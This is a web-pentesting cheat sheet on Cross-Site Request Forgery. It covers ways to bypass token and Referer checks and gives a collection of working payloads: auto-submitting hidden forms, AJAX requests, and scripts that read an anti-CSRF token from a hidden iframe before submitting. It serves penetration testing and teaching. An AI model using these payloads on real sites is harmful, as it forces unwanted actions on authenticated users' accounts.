CSRF (Cross-Site Request Forgery) - Web Applications Pentesting

Cross-Site Request Forgery

At a Glance

Cross-Site Request Forgery (CSRF) is an attack that forces an end user into submitting a malicious request on a web application in which they’re currently authenticated.

Unlike XSS, which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user’s browser. 1

Note: CSRF is not limited to web applications. An attacker could embed scripting into any document format allowing scripting.

Methodology

CSRF Methodology

CSRF Methodology. Source: PayloadsAllTheThings.

Validation Bypass

Parameters and Headers

Some applications validate parameters and headers only if present. Try removing token parameters/headers or commonly validated headers such as Referer, Host, or Origin.

Different Token

Some applications validate the token from a pool. Meaning it is not tied to a user session and any other token may be valid.

Other applications only validate the length of the token. Strings of the same length may be valid.

HTTP Request Method

Sometimes applications validate the token only under predefined methods. For example, try changing from POST to GET.

Note: There are cases where the method is defined by a parameter or a custom header such as:

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

Content Type

Like with the request method, applications may validate the token only for a predefined Content-type. Try a different Content-type such as:

  • application/json
  • application/x-url-encoded
  • form-multipart

Referrer Policy 2

The Referrer-Policy header defines what data is made available in the Referer header. Its purpose is to add privacy, preventing information leaking.

Referrer validation may be bypassed by hiding its value using the no-referrer policy.

<a href="http://example.com" rel="noreferrer">

Referer Regex Validation 3

Use manipulated strings to bypass Referer header regex validation.

https://0xffsec.com [no protected]
https://0xffsec.com?safe_com
https://0xffsec.com;safe_com
https://0xffsec.com/safe_com/../target.file
https://safe_com.0xffsec.com
https://0xffsecsafe_com
https://safe_com@0xffsec.com
https://0xffsec.com#safe_com
https://0xffsec.com\.safe_com
https://0xffsec.com/.safe_com
https://saf.com
https://safez.com
file://safe_com

Payloads

HTML GET - User Interaction

<a href="http://example.com/user/update/?username=0xffsec">Click Here!</a>

HTML GET - No Interaction

<img src="http://example.com/user/update/?username=0xffsec">
<iframe src="http://example.com/user/update/?username=0xffsec" style="display:none;"></iframe>

FORM GET - No Interaction

<script>history.pushState('', '', '/')</script>
<form id="csrf_form" method="GET" action="http://example.com/user/update/">
    <input type="hidden" name="username" value="0xffsec" />
    <input type="submit" value="Submit" />
</form>
<script>
    document.getElementById("csrf_form").submit();
</script>

FORM POST - User Interaction

<form action="http://example.com/user/update/" enctype="text/plain" method="POST">
    <input name="username" type="hidden" value="0xffsec" />
    <input type="submit" value="Submit" />
</form>

FORM POST - No Interaction

<script>history.pushState('', '', '/')</script>
<form id="csrf_form" action="http://example.com/user/update/" enctype="text/plain" method="POST">
    <input name="username" type="hidden" value="0xffsec" />
</form>
<script>
    document.getElementById("csrf_form").submit();
</script>

AJAX GET

var url = "http://example.com/user/update/?username=0xffsec"
var xhr = new XMLHttpRequest();
xhr.open("GET", url);
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.send();

AJAX POST

var url = "http://example.com/user/update/"
var xhr = new XMLHttpRequest();
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("username=0xffsec");
var url = "http://example.com/user/update/"
var xhr = new XMLHttpRequest();
xhr.open("POST", url, true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"username":0xffsec}');

Note: AS mention before, try with different content types:

  • xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  • xhr.setRequestHeader("Content-Type", "multipart/form-data");

Get Token from iFrame

<script>
function getToken(){
    var iframe = document.getElementById("iframe");
    var doc = iframe.contentDocument ? iframe.contentDocument: iframe.contentWindow.document;
    var token = doc.getElementsByName("user_token")[0].value;
    console.log(token)
}
</script>
<iframe id="iframe" onload="javascript:getToken();" src="http://example.com/user/update/" style="display:none;"></iframe>

Get Token with Ajax

var url = "http://example.com/user/update/"
var xhr = new XMLHttpRequest();
xhr.responseType = "document";
xhr.open("GET", url, true);
xhr.onload = function (e) {
    if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
        var token = xhr.response.getElementsByName("user_token")[0].value;
        console.log(token);
    }
};
xhr.send();

CSRF Token Example

This is just one example. Use the token with any of the payloads mention earlier.

<script charset="utf-8">
function setTokenAndSend(token){
    document.getElementsByName("user_token")[0].value = token
    document.getElementById("csrf_form").submit();
}
function getToken(){
    var iframe = document.getElementById("iframe");
    var doc = iframe.contentDocument ? iframe.contentDocument: iframe.contentWindow.document;
    var token = doc.getElementsByName("user_token")[0].value;
    setTokenAndSend(token)
}
</script>
<iframe id="iframe" onload="javascript:getToken();" src="http://example.com/user/update/" style="display:none;"></iframe>
<form id="csrf_form" action="http://example.com/user/update/" enctype="text/plain" method="POST">
    <input name="username" type="hidden" value="0xffsec" />
    <input name="user_token" type="hidden" value="set_by_js" />
</form>

Further Reading


  1. “The Cross-Site Request Forgery (CSRF/XSRF) FAQ.” CGISecurity - Website and Application Security News, https://www.cgisecurity.com/csrf-faq.html. ↩︎

  2. “Referer and Referrer-Policy Best Practices.” Web.Dev, https://web.dev/referrer-best-practices/. ↩︎

  3. “Bypass Referer Check Logic for CSRF.” HAHWUL, https://www.hahwul.com/2019/10/11/bypass-referer-check-logic-for-csrf/. ↩︎